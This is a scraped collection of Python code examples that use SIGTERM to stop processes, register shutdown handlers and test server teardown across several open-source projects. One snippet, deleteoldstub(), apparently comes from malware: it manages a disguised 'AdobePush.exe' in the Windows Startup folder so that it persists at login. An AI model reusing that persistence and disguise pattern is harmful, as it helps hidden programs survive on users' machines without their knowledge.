Python signal.SIGTERM Examples

def kill(name, sig=signal.SIGTERM):
    """Send a signal to job ``name`` via :func:`os.kill`.

    .. versionadded:: 1.29

    Args:
        name (str): Name of the job
        sig (int, optional): Signal to send (default: SIGTERM)

    Returns:
        bool: `False` if job isn't running, `True` if signal was sent.
    """
    pid = _job_pid(name)
    if pid is None:
        return False

    os.kill(pid, sig)
    return True 

def test_SIGTERM(self):
        'SIGTERM should shut down the server whether daemonized or not.'
        self._require_signal_and_kill('SIGTERM')

        # Spawn a normal, undaemonized process.
        p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'))
        p.write_conf(
            extra='test_case_name: "test_SIGTERM"')
        p.start(imports='cherrypy.test._test_states_demo')
        # Send a SIGTERM
        os.kill(p.get_pid(), signal.SIGTERM)
        # This might hang if things aren't working right, but meh.
        p.join()

        if os.name in ['posix']:
            # Spawn a daemonized process and test again.
            p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'),
                                 wait=True, daemonize=True)
            p.write_conf(
                extra='test_case_name: "test_SIGTERM_2"')
            p.start(imports='cherrypy.test._test_states_demo')
            # Send a SIGTERM
            os.kill(p.get_pid(), signal.SIGTERM)
            # This might hang if things aren't working right, but meh.
            p.join() 

def process_exist(process_name):
    """
    Detect if process exist/ running and kill it.
    :param process_name: process name to check
    :return: True if processis killed else False
    """
    if platform.system() == 'Windows':
        import signal
        import wmi
        c = wmi.WMI()
        for process in c.Win32_Process():
            if process_name in process.Name:
                log(process_name + ' exist...')
                log(str(process.ProcessId) + ' ' + str(process.Name))
                log("Having Windows explorer won't allow dd.exe to write ISO image properly."
                      "\nKilling the process..")
                try:
                    os.kill(process.ProcessId, signal.SIGTERM)
                    return True
                except:
                    log('Unable to kill process ' + str(process.ProcessId))

    return False 

def kill(name, sig=signal.SIGTERM):
    """Send a signal to job ``name`` via :func:`os.kill`.

    .. versionadded:: 1.29

    Args:
        name (str): Name of the job
        sig (int, optional): Signal to send (default: SIGTERM)

    Returns:
        bool: `False` if job isn't running, `True` if signal was sent.
    """
    pid = _job_pid(name)
    if pid is None:
        return False

    os.kill(pid, sig)
    return True 

def kill(self, signal_=signal.SIGTERM, wait=25):
        """Send signal to all containers in pod.

        default signal is signal.SIGTERM.
        wait n of seconds, 0 waits forever.
        """
        with self._client() as podman:
            podman.KillPod(self._ident, signal_)
            timeout = time.time() + wait
            while True:
                # pylint: disable=maybe-no-member
                self._refresh(podman)
                running = FoldedString(self.status)
                if running != 'running':
                    break

                if wait and timeout < time.time():
                    raise TimeoutError()

                time.sleep(0.5)
        return self 

def kill(self, sig=signal.SIGTERM, wait=25):
        """Send signal to container.

        default signal is signal.SIGTERM.
        wait n of seconds, 0 waits forever.
        """
        with self._client() as podman:
            podman.KillContainer(self._id, sig)
            timeout = time.time() + wait
            while True:
                self._refresh(podman)
                if self.status != 'running':  # pylint: disable=no-member
                    return self

                if wait and timeout < time.time():
                    raise TimeoutError()

                time.sleep(0.5) 

def deleteoldstub():
    checkfilename = 'AdobePush.exe'     #The exe in the startup will be saved by the name of AdobePush. When the exe will be updated the old exe will be deleted.
    checkdir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
    dircontent = os.listdir(checkdir)

    try:
        try:
            pids = getpid('AdobePush.exe')
            for id in pids:
                os.kill(int(id), signal.SIGTERM)
        except Exception as e:
            print e

        if checkfilename in dircontent:
            os.remove(checkdir + checkfilename)
    except Exception as e:
        print e

#Function to copy the exe to startup 

def exitus(self, status=0, message="end"):
        """
        Called when the program should be exit

        @param status:
            the exit status program returns to callert
        @param message:
            the message logged before exit
        """
        # pylint: disable=global-statement
        global SCRIPTNAME
        global SCRIPTPID
        global VER
        # pylint: enable=global-statement
        if message is not None:
            log(1, message)
        log(0, '{}[{}] v{} end'.format(SCRIPTNAME, SCRIPTPID, VER))
        if status in (signal.SIGINT, signal.SIGTERM):
            status = 0
        sys.exit(status) 

def test_invocation_error(exit_code, os_name, mocker, monkeypatch):
    monkeypatch.setattr(os, "name", value=os_name)
    mocker.spy(tox.exception, "exit_code_str")
    result = str(tox.exception.InvocationError("<command>", exit_code=exit_code))
    # check that mocker works, because it will be our only test in
    # test_z_cmdline.py::test_exit_code needs the mocker.spy above
    assert tox.exception.exit_code_str.call_count == 1
    call_args = tox.exception.exit_code_str.call_args
    assert call_args == mocker.call("InvocationError", "<command>", exit_code)
    if exit_code is None:
        assert "(exited with code" not in result
    elif exit_code == -15:
        assert "(exited with code -15 (SIGTERM))" in result
    else:
        assert "(exited with code {})".format(exit_code) in result
        note = "Note: this might indicate a fatal error signal"
        if (os_name == "posix") and (exit_code == 128 + signal.SIGTERM):
            assert note in result
            assert "({} - 128 = {}: SIGTERM)".format(exit_code, signal.SIGTERM) in result
        else:
            assert note not in result 

def stop(self):
        """
        Stop the shell
        """
        if self.is_running():
            try:
                os.kill(self._shell_pid, signal.SIGTERM)
            except OSError:
                pass

        start = time.time()
        while self.is_running() and (time.time() < (start + 0.2)):
            time.sleep(0.05)

        if self.is_running():
            utils.ConsoleLogger.log("Failed to stop shell process")
        else:
            utils.ConsoleLogger.log("Shell process stopped") 

def stopChild(self):
        logging.debug("Terminate child...")
        if self.p is not None:
            self.p.terminate()

        logging.debug("Kill server: " + str(self.serverPid))

        if self.serverPid is not None:
            try:
                os.kill(self.serverPid, signal.SIGTERM)
                os.kill(self.serverPid, signal.SIGKILL)
            except Exception as e:
                logging.error("Kill exception, but child should be alive: " + str(e))

        self.p = None
        self.serverPid = None

    ######################## 

def run(self):
        self.allow_reuse_address = True
        self.daemon_threads = True
        try:
            SocketServer.TCPServer.__init__(
                self, (self.ip or '', self.port), StreamRequestHandler)
        except socket.error:
            logger.critical(
                'The streaming server could not bind to your specified port '
                '({port}). Perhaps this is already in use? The application '
                'cannot work properly!'.format(port=self.port))
            sys.exit(1)

        signal.signal(signal.SIGTERM, self.shutdown)
        if self.proc_title:
            setproctitle.setproctitle(self.proc_title)
        self.serve_forever() 

def test_shutdown(self):
        res = []

        @teardown()
        def _worker_teardown(num):
            res.append("BYE WORKER")

        @global_teardown()
        def _teardown():
            res.append("BYE")

        @scenario(weight=100)
        async def test_two(session):
            os.kill(os.getpid(), signal.SIGTERM)

        args = self.get_args()
        results = Runner(args)()

        self.assertEqual(results["OK"], 1)
        self.assertEqual(results["FAILED"], 0)
        self.assertEqual(res, ["BYE WORKER", "BYE"]) 

def test_shutdown_exception(self):
        @teardown()
        def _worker_teardown(num):
            raise Exception("bleh")

        @global_teardown()
        def _teardown():
            raise Exception("bleh")

        @scenario(weight=100)
        async def test_two(session):
            os.kill(os.getpid(), signal.SIGTERM)

        args = self.get_args()
        results = Runner(args)()
        self.assertEqual(results["OK"], 1) 

def unsub_sig():
    cherrypy.log('unsubsig: %s' % cherrypy.config.get('unsubsig', False))
    if cherrypy.config.get('unsubsig', False):
        cherrypy.log('Unsubscribing the default cherrypy signal handler')
        cherrypy.engine.signal_handler.unsubscribe()
    try:
        from signal import signal, SIGTERM
    except ImportError:
        pass
    else:
        def old_term_handler(signum=None, frame=None):
            cherrypy.log('I am an old SIGTERM handler.')
            sys.exit(0)
        cherrypy.log('Subscribing the new one.')
        signal(SIGTERM, old_term_handler) 

def test_signal_handler_unsubscribe(self):
        self._require_signal_and_kill('SIGTERM')

        # Although Windows has `os.kill` and SIGTERM is defined, the
        #  platform does not implement signals and sending SIGTERM
        #  will result in a forced termination of the process.
        #  Therefore, this test is not suitable for Windows.
        if os.name == 'nt':
            self.skip('SIGTERM not available')

        # Spawn a normal, undaemonized process.
        p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'))
        p.write_conf(
            extra="""unsubsig: True
test_case_name: "test_signal_handler_unsubscribe"
""")
        p.start(imports='cherrypy.test._test_states_demo')
        # Ask the process to quit
        os.kill(p.get_pid(), signal.SIGTERM)
        # This might hang if things aren't working right, but meh.
        p.join()

        # Assert the old handler ran.
        log_lines = list(open(p.error_log, 'rb'))
        assert any(
            line.endswith(b'I am an old SIGTERM handler.\n')
            for line in log_lines
        ) 

def stop(self):
        if self.process:
            try:
                os.killpg(os.getpgid(self.process.pid), signal.SIGTERM)
            except OSError:
                pass 

def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        logging.info("Client initialised")

        self.ds = storage.DataStore(config.PICKLE_DUMP_LOCATION)
        logging.info("Data storage initialised")

        if platform.system() == "Linux":
            self.loop.add_signal_handler(
                signal.SIGTERM, lambda: self.loop.create_task(self.shutdown())
            )
            logging.info("Signal handler for SIGTERM registered")

        self.loop.create_task(notifications.notification_task(self))
        discordhealthcheck.start(self) 

def test_fork(self):
        pgsql = testing.postgresql.Postgresql()
        if os.fork() == 0:
            del pgsql
            pgsql = None
            os.kill(os.getpid(), signal.SIGTERM)  # exit tests FORCELY
        else:
            os.wait()
            sleep(1)
            self.assertTrue(pgsql.is_alive())  # process is alive (delete pgsql obj in child does not effect) 

def test_stop_on_child_process(self):
        pgsql = testing.postgresql.Postgresql()
        if os.fork() == 0:
            pgsql.stop()
            os.kill(pgsql.server_pid, 0)  # process is alive (calling stop() is ignored)
            os.kill(os.getpid(), signal.SIGTERM)  # exit tests FORCELY
        else:
            os.wait()
            sleep(1)
            self.assertTrue(pgsql.is_alive())  # process is alive (calling stop() in child is ignored) 

def init_signals(self):
        # Set up signals through the event loop API.

        self.loop.add_signal_handler(
            signal.SIGQUIT, self.handle_quit, signal.SIGQUIT, None
        )

        self.loop.add_signal_handler(
            signal.SIGTERM, self.handle_exit, signal.SIGTERM, None
        )

        self.loop.add_signal_handler(
            signal.SIGINT, self.handle_quit, signal.SIGINT, None
        )

        self.loop.add_signal_handler(
            signal.SIGWINCH, self.handle_winch, signal.SIGWINCH, None
        )

        self.loop.add_signal_handler(
            signal.SIGUSR1, self.handle_usr1, signal.SIGUSR1, None
        )

        self.loop.add_signal_handler(
            signal.SIGABRT, self.handle_abort, signal.SIGABRT, None
        )

        # Don't let SIGTERM and SIGUSR1 disturb active requests
        # by interrupting system calls
        signal.siginterrupt(signal.SIGTERM, False)
        signal.siginterrupt(signal.SIGUSR1, False) 

def send_signal(self, sig):
            """Send a signal to the process
            """
            if sig == signal.SIGTERM:
                self.terminate()
            elif sig == signal.CTRL_C_EVENT:
                os.kill(self.pid, signal.CTRL_C_EVENT)
            elif sig == signal.CTRL_BREAK_EVENT:
                os.kill(self.pid, signal.CTRL_BREAK_EVENT)
            else:
                raise ValueError("Unsupported signal: {}".format(sig)) 

def terminate(self):
            """Terminate the process with SIGTERM
            """
            self.send_signal(signal.SIGTERM) 

def run(self):
        if not self.loop:
            self.loop = asyncio.get_event_loop()
        loop = self.loop

        if self.config['debug']:
            logger.setLevel('DEBUG')
            self.loop.set_debug(True)

        # init logger
        self._create_logger()

        # add cors support if needed
        self._cors_handler = CORSHandler.from_config(self.config)
        if self._cors_handler:
            self.router.add_generic_options_handler(self._cors_handler.options_handler)

        # wrap handlers in middleware
        loop.run_until_complete(self._wrap_handlers())
        for t in self.transport:
            t.listen(loop=loop, config=self.config)

        # Call on-startup hooks
        loop.run_until_complete(self.run_on_start_hooks())

        # todo: fork/add processes?
        tasks = []
        for t in self.transport:
            tasks.append(t.start(self.handle_request))

        # register signals, so that stopping the service works correctly
        loop.add_signal_handler(signal.SIGTERM, self.start_shutdown)
        loop.add_signal_handler(signal.SIGINT, self.start_shutdown)

        # Run all transports - they shouldn't return until shutdown
        loop.run_until_complete(asyncio.gather(*tasks))

        self.shutdown() 

def taskkill(pid):
    os.kill(pid, signal.SIGTERM) 

def terminate(self, unique_id, configs=None):
    """ Issues a kill -15 to the specified process

    :Parameter unique_id: the name of the process
    """
    self._send_signal(unique_id, signal.SIGTERM, configs) 

def killIPy():
  global ipy
  try:
    send('exit')
    os.kill(ipy.pid, signal.SIGTERM)
    ipy.terminate()
    ipy.returncode = True
  except:
    pass 

def _kill(proc, gid):
    """Kills the process in group `gid` as gracefully as possible:

      * Send SIGTERM to the process group.
        * This is a bit atypical for POSIX, but this is done to provide
          consistent behavior between *nix/Windows (where we MUST signal the
          whole group). This allows writing parent/child programs which run
          cross-platform without requiring per-platform parent/child handling
          code.
        * If programs really don't want this, they should make their own process
          group for their children.
      * Give main process 30s to quit.
      * Send SIGKILL to the whole group (to avoid leaked processes). This will
        kill the process we spawned directly.

    Returns the process's returncode.
    """
    try:
      os.killpg(gid, signal.SIGTERM)
    except OSError:
      pass
    # TODO(iannucci): This API changes in python3 to raise an exception on
    # timeout.
    proc.wait(timeout=30)
    try:
      os.killpg(gid, signal.SIGKILL)
    except OSError:
      pass
    return proc.wait() 

def test_subprocess(self):
        if IOLoop.configured_class().__name__.endswith('LayeredTwistedIOLoop'):
            # This test fails non-deterministically with LayeredTwistedIOLoop.
            # (the read_until('\n') returns '\n' instead of 'hello\n')
            # This probably indicates a problem with either TornadoReactor
            # or TwistedIOLoop, but I haven't been able to track it down
            # and for now this is just causing spurious travis-ci failures.
            raise unittest.SkipTest("Subprocess tests not compatible with "
                                    "LayeredTwistedIOLoop")
        subproc = Subprocess([sys.executable, '-u', '-i'],
                             stdin=Subprocess.STREAM,
                             stdout=Subprocess.STREAM, stderr=subprocess.STDOUT,
                             io_loop=self.io_loop)
        self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM))
        subproc.stdout.read_until(b'>>> ', self.stop)
        self.wait()
        subproc.stdin.write(b"print('hello')\n")
        subproc.stdout.read_until(b'\n', self.stop)
        data = self.wait()
        self.assertEqual(data, b"hello\n")

        subproc.stdout.read_until(b">>> ", self.stop)
        self.wait()
        subproc.stdin.write(b"raise SystemExit\n")
        subproc.stdout.read_until_close(self.stop)
        data = self.wait()
        self.assertEqual(data, b"") 

def test_close_stdin(self):
        # Close the parent's stdin handle and see that the child recognizes it.
        subproc = Subprocess([sys.executable, '-u', '-i'],
                             stdin=Subprocess.STREAM,
                             stdout=Subprocess.STREAM, stderr=subprocess.STDOUT,
                             io_loop=self.io_loop)
        self.addCleanup(lambda: os.kill(subproc.pid, signal.SIGTERM))
        subproc.stdout.read_until(b'>>> ', self.stop)
        self.wait()
        subproc.stdin.close()
        subproc.stdout.read_until_close(self.stop)
        data = self.wait()
        self.assertEqual(data, b"\n")